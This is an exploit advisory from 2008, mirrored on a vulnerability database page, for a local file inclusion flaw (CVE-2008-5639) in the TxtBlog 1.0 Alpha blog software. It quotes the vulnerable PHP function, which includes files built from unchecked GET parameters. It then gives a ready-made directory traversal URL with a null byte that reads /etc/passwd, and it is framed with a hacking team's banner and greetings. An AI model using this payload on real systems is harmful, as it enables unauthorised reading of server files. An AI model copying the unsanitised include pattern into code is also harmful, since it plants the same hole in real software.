Lucene search
+L

TxtBlog 1.0 Alpha - Local File Inclusion

🗓️ 27 Nov 2008 00:00:00Reported by CWH UndergroundType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

TxtBlog 1.0 Alpha Local File Inclusion Vulnerability in showMonth functio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-5639
27 Nov 200800:00
circl
cve
CVE
CVE-2008-5639
17 Dec 200817:00
cve
cvelist
Cvelist
CVE-2008-5639
17 Dec 200817:00
cvelist
euvd
EUVD
EUVD-2008-5613
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-5639
17 Dec 200817:30
nvd
prion
Prion
Directory traversal
17 Dec 200817:30
prion
============================================================
  TxtBlog (index.php m) Local File Inclusion Vulnerability
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /
  / XXXXXX /
 (________(
  `------'


AUTHOR : CWH Underground
DATE   : 27 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : TxtBlog
 VERSION     : v.1.0 Alpha
 DOWNLOAD    : http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip
#####################################################

--- Local File Inclusion ---

-----------------------------
 Vulnerable File (index.php)
-----------------------------

function showMonth() {
	global $config_date_format, $txtblog_body, $txtblog_title, $config_title;

	$txtblog_body = "";
	$txtblog_title = "$config_title - Archives";

	$year = $_GET['y'];
	$month = $_GET['m'];

	$files = findFiles("data/$year/$month");	<<< BUG !!!!

	if (isset($files)) {
	foreach ($files as $file) {

		include ("data/$year/$month/$file");	<<< BUG !!!!
		$date_array = explode(" ",$date);
		$date = date($config_date_format, mktime($date_array[0], $date_array[1], $date_array[2], $date_array[3], $date_array[4], $date_array[5]));
		$txtblog_body .= "<span class='blog_title'>$title</span><br>\n<span class='blog_date'>$date</span><br>\n".bb2html($blog)."<br>\n<hr size='1'>\n";

	}
	}
}

---------
 Exploit
---------

[+] http://[Target]/[txtblogcms_path]/index.php?y=2005&m=01/../../../../../../../../etc/passwd%00


#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-11-27]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jan 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.02189
39